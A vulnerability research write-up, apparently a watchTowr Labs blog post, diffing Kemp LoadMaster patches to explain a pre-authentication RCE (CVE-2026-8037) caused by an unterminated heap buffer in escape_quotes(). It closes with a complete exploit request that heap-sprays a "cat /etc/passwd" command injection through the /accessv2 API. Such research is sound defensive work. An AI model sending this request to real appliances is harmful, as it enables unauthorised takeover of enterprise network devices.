Enterprise Tech In, Shell Out (Progress Kemp LoadMaster Uninitialized Heap to Pre-Auth RCE CVE-2026-8037)
Welcome back to another watchTowr Labs blog post.
This time, we're looking at Progress Kemp LoadMaster, a load balancer that sits at the edge of a lot of enterprise networks. Edge appliances have a habit of becoming the way in rather than the thing keeping people out, and CVE-2026-8037 keeps that streak alive: a pre-authentication Remote Code Execution vulnerability accessible to anyone who can access the API.
So, in probably a predictable turn of events, we're back doing what we do best.
What Is A Kemp LoadMaster, and What Is CVE-2026-8037?
Produced by Progress (of MoveIT fame), Kemp LoadMaster is a load balancer and application delivery controller (ADC) that distributes incoming network traffic across multiple servers to keep applications available, responsive, and scalable. Typically, beyond basic load balancing, it provides Layer 4 and Layer 7 traffic management, SSL/TLS offloading, content switching, health checking, and a built-in web application firewall (WAF) to protect against common threats.
Why would you use it? Well, Progress has us covered here:

On June 4th, Progress published an advisory about a “Command Injection Remote Code Execution Vulnerability” in Kemp LoadMaster, exploitable by the friendliest of unauthenticated attackers.
The vulnerability affects the following versions, when the API is enabled:
- Kemp LoadMaster: GA v7.2.63.1 and older
- Kemp LoadMaster: LTSF v7.2.54.17 and older
Setting The Scene
To fuel our analysis today, we compared the following versions following our normal ‘what the hell has changed’ process:
- 7.2.63.1 (Vulnerable)
- 7.2.63.2 (Different)
Let’s Dive In
We started our work on the 7.2.63.1 version, diffing the access executable against the 7.2.63.2:

While the changes are minimal, let’s look at the unpatched version in a little more detail:
_BYTE *__fastcall escape_quotes(const char *user_input) // vulnerable version
{
const char *v1; // rbx
char *v2; // rdx
_BYTE *result; // rax
char v4; // cl
_BYTE *i; // rdx
v1 = user_input;
if ( !user_input )
return nullptr;
v2 = strchr(user_input, '\'');
result = user_input;
if ( v2 ) // [1] If the user input contains a single quote, allocate a new buffer for its escaped representation
{
result = malloc(3 * (strlen(user_input) + 1) + 29); // [2]
if ( result )
{
v4 = *user_input;
if ( *user_input )
{
for ( i = result; ; ++i )
{
if ( v4 == "'" )
{
*i = '\'';
i[1] = '\\';
i[2] = '\'';
i += 3;
}
*i = *v1++;
v4 = *v1;
if ( !*v1 )
break;
}
}
}
}
return result;
}
Initially, we assumed this would be a straightforward command injection. However, the diff showed only a single modified function: escape_quotes(). Even stranger, the patch wasn't escaping any additional characters. That immediately raised a question:
Is it really that simple?
Before we answer that, let's look at how escape_quotes() actually works.
The job of escape_quotes() is simple. It takes a string and makes it safe to place inside a single-quoted shell argument. For example:
validuser -u '<user-controlled-input>'
It does this by escaping single quotes, and nothing else. because if single quotes are not escaped, someone can use an extra single quote to break out and inject additional commands.
Let's look at the implementation.
At [1], escape_quotes() calls strchr() to determine whether the supplied input contains a single quote. If strchr() returns NULL, there are no quotes to escape. In that case, the function neither allocates a new buffer nor modifies the input. Instead, it simply returns the original pointer supplied by the caller:
escape_quotes("ABCD") -> ABCD // same char pointer returned
If our input does contain a single quote, execution follows the path at [2].
This time, the function allocates a fresh heap buffer with malloc() and walks the input one character at a time:
- Normal characters are copied directly into the new buffer (
i = *v1++). - Every single quote (
') is expanded into the four-byte sequence'\''.
In other words, a single quote in the original input becomes four bytes in the escaped output.
For a single quote, the loop produces the following output:
if ( v4 == "'" )
{
*i = '\''; // byte 1: '
i[1] = '\\'; // byte 2: \
i[2] = '\''; // byte 3: '
i += 3;
}
*i = *v1++; // byte 4: ' (the original quote, copied)
The behavior is easier to see with a summary of how this works, and some basic examples:
' + \' + '
close escaped reopen
quote quote quote
= '\'' (4 characters)
┌─────────┬──────────────────┐
│ input │ output │
├─────────┼──────────────────┤
│ ABCD │ ABCD │
├─────────┼──────────────────┤
│ ' │ '\'' │
├─────────┼──────────────────┤
│ O'Brien │ O'\''Brien │
├─────────┼──────────────────┤
│ '''' │ '\'''\'''\'''\'' │
└─────────┴──────────────────┘
So, What Did The Patch Actually Change?
Well, now let’s look at the patched version of escape_quotes():
_BYTE *__fastcall escape_quotes(const char *user_input) // patched version
{
const char *v1; // rbx
char *v2; // rdx
_BYTE *result; // rax
char v4; // cl
_BYTE *i; // rdx
_BYTE *end; // rsi <-- new
v1 = user_input;
if ( !user_input )
return nullptr;
v2 = strchr(user_input, '\'');
result = user_input;
if ( v2 )
{
result = calloc(1u, 4 * (strlen(user_input) + 1) + 28); // [1] calloc, and 4* instead of 3*
if ( result )
{
v4 = *user_input;
if ( *user_input )
{
for ( i = result; ; ++i )
{
if ( v4 == "'" )
{
*i = '\'';
i[1] = '\\';
i[2] = '\'';
i += 3;
}
end = i + 1;
*i = *v1++;
v4 = *v1;
if ( !*v1 )
break;
}
}
else
{
end = result;
}
*end = 0; // [2] the missing null terminator
}
}
return result;
}
Two changes. That’s it:
mallocbecamecalloc. The output buffer is now zero-filled. Even if the function forgets to terminate the string, everything after our data is already\0.end = 0was added. This is the actual fix for the actual bug: a null terminator is written immediately after the escaped output.
So the original escape_quotes() implementation had two problems:
- It allocated an uninitialized buffer with
malloc(). - It failed to null-terminate the escaped string.
That explains the patch, but how does that become Remote Code Execution?
A quick Google search showed this vulnerability was discovered by a researcher named Syed Ibrahim Ahmed of TrendAI Research with the advisory titled: “apiuser Uninitialized Memory Remote Code Execution Vulnerability”. Sounds… like we’re on the correct path.
Now things make more sense, but before we explain how a harmless-looking uninitialized memory vulnerability becomes RCE, let’s take a short detour.
A Crash Course In Uninitialized Heap Memory
To understand why this vulnerability is exploitable, we first need to look at how uninitialized heap memory behaves. A small C program makes this much easier to explain:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int args, char **argv){
char *buf1 = malloc(0x20);
char *buf2 = malloc(0x20);
char *buf3 = malloc(0x20);
strcpy(buf1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
strcpy(buf2, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
strcpy(buf3, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC");
free(buf1);
free(buf2);
free(buf3);
char *buf4 = malloc(0x20);
fprintf(stdout, "%s\n", buf4 );
return 0;
}
As shown in our tiny demonstration:
- We allocate three buffers of size
0x20. - We tag them by filling them with our good old
ABC. - We free all three buffers.
- We then allocate a fourth buffer of the same size.
What do you think is printed when fprintf is executed?

Let's run the program under a debugger and stop right before fprintf() is called. That lets us inspect the buffer directly and see exactly what is about to be printed:
pwndbg> b fprintf
Breakpoint 1 at 0x1080
pwndbg> r
Starting program: /tmp/uninit/test
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]──────────────────────────────────────────────────────────────────────────
Breakpoint hit at 0x7ffff7c5f560
──────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffdd48 —▸ 0x7fffffffdfe6 ◂— '/tmp/uninit/test'
RCX 0x555555556004 ◂— 0x3b031b01000a7325 /* '%s\n' */
RDX 0x555555559300 ◂— 0x55500000c789
RDI 0x7ffff7e045c0 (_IO_2_1_stdout_) ◂— 0xfbad2084
RSI 0x555555556004 ◂— 0x3b031b01000a7325 /* '%s\n' */
───────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
► 0 0x7ffff7c5f560 fprintf
1 0x55555555529b main+274
2 0x7ffff7c2a1ca __libc_start_call_main+122
3 0x7ffff7c2a28b __libc_start_main+139
4 0x5555555550c5 _start+37
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Since this is a 64-bit program, the arguments passed to fprintf() are:
rdi→ pointer tostdoutrsi→ pointer to the format string,%s\nrdx→ pointer to the newly allocated heap chunk,buf4
So whatever rdx points to will be treated as a C string and printed with %s\n.
Let’s examine what rdx is pointing to:
pwndbg> dq $rdx
0000555555559300 000055500000c789 0000000000000000
0000555555559310 4343434343434343 4343434343434343
0000555555559320 0000000000000000 0000000000020ce1
0000555555559330 0000000000000000 0000000000000000
Interesting. We can see a few values we did not write, followed by 43434343..., which is our sprayed CCCC.
Many of you probably already know why this happens. Let’s run the program and see it for ourselves:

The reason fprintf() prints garbage is simple: buf4 points to uninitialized heap memory.
malloc() gives us a pointer to a chunk of memory, but it does not clear that memory. If the chunk was previously freed and then handed back to us, it may still contain whatever was left there before.
In our case, that means two things:
- The allocator metadata is still present at the start of the freed chunk.
- Our sprayed
CCCCdata is still sitting after it.
Because buf4 is treated as a C string and passed to fprintf("%s\n", buf4), the program prints whatever bytes are present until it eventually hits a \0.
That is why we see garbage first, followed by our sprayed data.
offset
+==========================================+
0x00 | prev_size = 0 | chunk header
| (reusable; only set if prev is free) |
+------------------------------------------+
0x08 | size = 0x.... | ... | N | M | P=1 |
+==========================================+ <-- ptr malloc() gives us
0x10 | next ---> next chunk in the tcache bin | (overlaps old fd)
| NULL if it's the last one |
+------------------------------------------+
0x18 | key ---> tcache_perthread_struct | (double-free guard)
+------------------------------------------+
0x20 | ...stale user data, left untouched... |
| |
+==========================================+
And that explains the garbage in the output. The format string is %s, so fprintf() will keep reading bytes until it eventually hits a null terminator.
So far, we know that if a heap buffer is returned by malloc() and not initialized, the first 0x10 bytes can contain allocator-related metadata rather than our expected data.
But what happens if we intentionally overwrite that metadata?
Let’s update the program with a simple loop that writes the x character into the first 0x10 bytes of buf4:
char *buf4 = malloc(0x20);
for (int i = 0; i < 16; i++) {
buf4[i] = 'x';
}
fprintf(stdout, "%s\n", buf4 );
return 0;
This time, inspecting rdx right before fprintf() is called shows the following:
pwndbg> dq $rdx
0000555555559300 7878787878787878 7878787878787878
0000555555559310 4343434343434343 4343434343434343
0000555555559320 0000000000000000 0000000000020ce1
0000555555559330 0000000000000000 0000000000000000
Makes sense, right?
By overwriting those first 0x10 bytes with x, we remove the allocator metadata that previously caused early garbage output. As a result, fprintf() keeps treating the buffer as a string and continues reading past the intended chunk boundary until it eventually finds a null byte.
In practice, that means we can make it read out-of-bounds and print data from a neighboring freed chunk.

We’re Back In The Room And Back To The Vulnerability
Now that we understand what happens when a buffer returned by malloc() is not initialized, let’s go back to the vulnerability in question and see how we can turn this into RCE.
The following function is invoked whenever a request is made to LoadMaster’s /accessv2 endpoint. Its job is to validate the API credentials supplied in the JSON body, specifically through the apiuser and apipass keys:
__int64 __fastcall sub_43B080(__int64 a1, __int64 a2, const char *a3)
{
const char *v4; // r12
const char *v5; // r9
const char *v6; // r8
bool v7; // zf
__int64 result; // rax
if ( !a1 || !a2 )
return 0;
v4 = (const char *)escape_quotes(a2);
v5 = (const char *)escape_quotes(a1);
v6 = "";
if ( fips )
v6 = (const char *)&unk_46DFA8;
__sprintf_chk(a3, 1, -1, "validuser -b %s -u '%s' -p '%s'", v6, v5, v4);
v7 = system(a3) == 0;
result = 0;
if ( v7 )
return a1;
return result;
}
This is what a normal request looks like:
POST /accessv2 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 2986
Host: 192.168.5.30:443
Content-Type: application/json
Accept: */*
Connection: keep-alive
{"cmd": "getall", "apiuser": "AAAAAA", "apipass": "BBBBBB"}
Under the hood, the function eventually constructs and executes the following command via system():
sh -c validuser -b -u 'AAAAA' -p 'QkJCQkI='
The apiuser value is passed to the -u argument, while apipass is base64-encoded and passed to -p.
Because apiuser is passed through escape_quotes(), any single quote we provide should be escaped before it reaches the final command.
So, if we try something like:
';cat /etc/passwd;'
The payload above will not work because the single quotes are escaped.
However, remember what the patch fixed: the escaped buffer was not null-terminated. That means if an adjacent freed heap chunk contains an unescaped command injection payload, and that payload does not contain a null byte, __sprintf_chk() can continue reading out of bounds into that chunk.
In other words, we can smuggle extra command content into the final string after the escaped apiuser value.
There is one problem though. Freed chunks contain allocator metadata at the beginning, and those bytes may include null bytes. If __sprintf_chk() hits one of those null bytes, the read stops before reaching our payload.
So how do we get rid of them?
Simple. We abuse the single quote escaping expansion itself. Each single quote expands into four bytes, which lets us overwrite the first 0x10 bytes of the adjacent freed chunk and erase the allocator metadata.
So if we send:
{"apiuser":"''''"}
Those four single quotes expand into sixteen bytes:
'\'''\'''\'''\''
Count them. Somehow, four characters became enough bytes to do something useful.
A diagram makes this easier to follow:
offset 0x00 0x10
+================================+===================================+
| ' \ ' ' ' \ ' ' ' \ ' ' ' \ ' '| '; cat /etc/passwd # ... |
+================================+===================================+
\___ 16 escaped bytes, no \0 ___/ \____ sprayed payload _________/
(overwrites malloc next ptr + key)
That is perfect, at least in theory.
The next problem is placement. We need a heap chunk containing our command injection payload to land immediately after the escaped apiuser chunk.
Our approach was to spray. The request body is parsed by parse_json(), which eventually reaches json_fill_param(). This gives us a useful heap-spraying primitive by adding lots of JSON key/value pairs. We will spare you the internals of yet another JSON parser, because nobody deserves that.
The final request does two things:
- Sprays the desired command payload enough times to increase the chance that one copy lands adjacent to
apiuser. - Uses four single quotes in
apiuserso the escaping expansion overwrites the first0x10bytes of the adjacent freed chunk, removing the allocator metadata that would otherwise stop the string read.
At that point, __sprintf_chk() keeps reading past the unterminated escaped buffer and into our sprayed command injection payload.
Let’s Join It All Together
Check it out:
POST /accessv2 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 2913
Host: 192.168.5.30:443
Content-Type: application/json
Accept: */*
Connection: keep-alive
{"cmd": "getall", "apiuser": "''''", "apipass": "BBBBB", "g0": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g1": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g2": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g3": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g4": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g5": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g6": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g7": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g8": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g9": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g10": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g11": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g12": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g13": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g14": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g15": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g16": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g17": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g18": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g19": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g20": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g21": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g22": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g23": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g24": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g25": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g26": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g27": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g28": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g29": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g30": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g31": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g32": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g33": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g34": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g35": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g36": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g37": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g38": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g39": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g40": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g41": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g42": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g43": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g44": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g45": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g46": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g47": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g48": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g49": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g50": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g51": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g52": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g53": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g54": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g55": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g56": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g57": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g58": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g59": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g60": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #"}
and.. there we have it:

The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.